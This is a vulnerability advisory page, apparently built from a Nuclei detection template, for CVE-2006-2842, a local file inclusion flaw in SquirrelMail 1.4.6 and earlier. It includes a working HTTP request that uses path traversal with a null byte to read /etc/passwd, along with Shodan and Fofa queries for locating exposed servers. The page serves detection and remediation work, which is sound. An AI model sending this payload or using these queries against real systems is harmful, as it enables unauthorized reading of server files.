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CVE-2006-2842: Squirrelmail <=1.4.6 - Local File Inclusion

TitleSquirrelmail <=1.4.6 - Local File Inclusion
AuthordhiyaneshDk
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationUpgrade Squirrelmail to a version higher than 1.4.6 or apply the necessary patches to fix the LFI vulnerability.
CVSS Score7.5
EPSS Score0.0094
CVE IDCVE-2006-2842
CWE IDCWE-22
Shodan Queryhttp.title:"squirrelmail"cpe:"cpe:2.3:a:squirrelmail:squirrelmail"
Fofa Querytitle="squirrelmail"
Tags cve cve2006 lfi squirrelmail edb vuln

🔍 Vulnerability Description

SquirrelMail 1.4.6 and earlier versions are susceptible to a PHP local file inclusion vulnerability in functions/plugin.php if register_globals is enabled and magic_quotes_gpc is disabled. This allows remote attackers to execute arbitrary PHP code via a URL in the plugins array parameter.

🌐 HTTP Request

GET /src/redirect.php?plugins[]=../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2006/CVE-2006-2842.yaml

🦈 Packet Capture: ⬇️ Download cve-2006-2842.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A